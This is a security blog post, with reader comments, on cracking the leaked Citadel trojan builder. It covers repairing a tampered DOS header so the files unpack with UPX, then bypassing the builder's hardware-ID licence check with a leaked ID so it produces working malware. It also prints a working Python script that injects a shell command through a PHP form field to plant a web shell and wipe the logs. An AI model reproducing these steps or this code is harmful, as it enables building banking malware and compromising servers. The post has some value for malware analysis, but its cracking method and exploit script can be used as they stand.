Tuesday, 31 December 2013

How the protection of Citadel got cracked

Recently on a forum someone requested cbcs.exe (Citadel Backconnect Server)
If you want to read more about the Backconnect on Citadel, the link that g4m372 shared is cool: http://laboratoriomalware.blogspot.de/2012/12/troyan-citadel-backconnect-windows.html

I've searched this file thought downloading a random mirror of the Citadel leaked package in hope to find it inside.
Finally the file wasn't on the leaked archive but was already grabbed by various malware trackers.
MD5: 50A59E805EEB228D44F6C08E4B786D1E
Malwarebytes: Backdoor.Citadel.BkCnct

And since i've downloaded the leaked Citadel package... let's see about the Builder.
It can be interesting to make a post about it.

Citadel.exe: a33fb3c7884050642202e39cd7f177e0
Malwarebytes: Hacktool.Citadel.Builder
"ERROR: Builder has been moved to another PC or virtual environment, now it is deactivated."

This file is packed with UPX:

Same for the Citadel Backconnect Server and the Hardware ID generator.
But when we try to unpack it via UPX we have an exception:

UPX told us that there is something wrong with the file header, aquabox used a lame trick.
With an hexadecimal editor we can clearly see that there is a problem with the DOS Header:

We have 0x4D 0x5A ... 00 ... and a size of 0xE8 for the memory.
e_lfanew is null, so let's fix it at 18h by 0x40
Miracle:

Same tricks for the Hardware ID Calculator and the Citadel Backconnect Server, i will get back on these two files later.
Now that we have a clear code we can know the Time/Date Stamp, view the ressources, but more interesting: see how Citadel is protected

Viewing the strings already give us a good insight:
PHYSICALDRIVE0, Win32_BIOS, Win32_Processor, SerialNumber...

But we don't even really need to waste time trying to know how the generation is made.
Although you can put a breakpoint at the beginning of the calculation procedure (0x4013F2)
At the end, you will be here, this routine will finalise your HID:

From another side, you can also have a look on the Hardware ID Calculator.

I've got a problem with this file, the first layer was a SFX archive:

Malware embedded (stealer):


Conclusion: Don't rush on leaked stuff.

Alright, now that you have extracted/unpacked the good HID Calculator you can open it in olly.
The code is exactly the same as the one you can find on the Citadel Builder, it may help to locate the calculation procedure on the builder although it's really easy to locate it.

That was just a short parentheses, to get back on the builder, after that the generation end you will have multiple occasions to view your HID on the stack like here:
And the crutial part start here.

When the Citadel package of Citab got leaked (see this article for more information) an important file was also released:

The HID of the original machine who was running the builder, so you just have to replace your HID by this one, just like this:

And this is how the protection of Citadel become super weak and can generate working malwares
Now you just have to do a codecave or inject a dll in order to modify it permanently, child game.

The problem that every crackers was facing on leaked Citadel builders is to find the good HID key.
Citadel builders who was previously leaked wasn't leaked with HID key.
e.g: vortex1772_second - 1.3.5.1

And you can't just 'force' the procedure to generate a bot because the Citadel stub is encrypted inside, that why when the package got leaked with the correct HID, a easy way to crack the builder appeared.
Without having the good HID you can still bruteforce it till you break the key but this is much harder and time wasting, this solution would be also a more great achievement and respected in scene release.

To finish, let's get back on the Citadel backconnect server who was requested on kernelmode.info

This script was also leaked with the Citab package:


It's for Windows box, and it's super secure... oh wait..
import urllib
import urllib2

def request(url, params=None, method='GET'):
    if method == 'POST':
        urllib2.urlopen(url, urllib.urlencode(params)).read()
    elif method == 'GET':
        if params == None:
            urllib2.urlopen(url)
        else:
            urllib2.urlopen(url + '?' + urllib.urlencode(params)).read()

def uploadShell(url, filename, payload):
    data = {
        'b'  : 'tapz',
        'p1' : 'faggot',
        'p2' : 'hacker | echo "' + payload + '" >> ' + filename
    }
    request(url + 'test.php', data)

def shellExists(url):
    return urllib.urlopen(url).getcode() == 200
   
def cleanLogs(url):
    delete = {
        'delete' : ''
    }
    request(URL + 'control.php', delete, 'POST')

URL      = 'http://localhost/citadel/winserv_php_gate/'
FILENAME = 'shell.php'
PAYLOAD  = '<?php phpinfo(); ?>'

uploadShell(URL, FILENAME, PAYLOAD)
print '[~] Shell created!'
if not shellExists(URL + FILENAME):
    print '[-]', FILENAME, 'not found...'
else:
    print '[+] Go to:', URL + FILENAME
cleanLogs(URL)
print '[~] Logs cleaned!'

Brief, happy new year guys :)



10 comments:

  1. happy new year xyl

    ReplyDelete
  2. >not using escapeshellarg/escapeshellcmd

    ReplyDelete
  3. happy new year to one of the best InfoSec Researcher !

    Ciao !

    nicola

    ReplyDelete
  4. That's one hell of a rip-up of citadel :) Soopercool Xyli :)

    ReplyDelete
  5. SmilingWolf de STC avait fait un paper / vidéo sur comment crack Citadel aussi , aka "STC 3 - Violating the Citadel". Merci du post et bonne année également ! :)

    ReplyDelete
  6. ah, je ne savait pas que quelqu’un avais déjà posté un 'how to'

    ReplyDelete
  7. I love how in-depth you go in to your blog posts. Keep up the educated posting!

    ReplyDelete
  8. i dont get this point:


    We have 0x4D 0x5A ... 00 ... and a size of 0xE8 for the memory.
    e_lfanew is null, so let's fix it at 18h by 0x40

    what does 18h means?

    Greetings

    ReplyDelete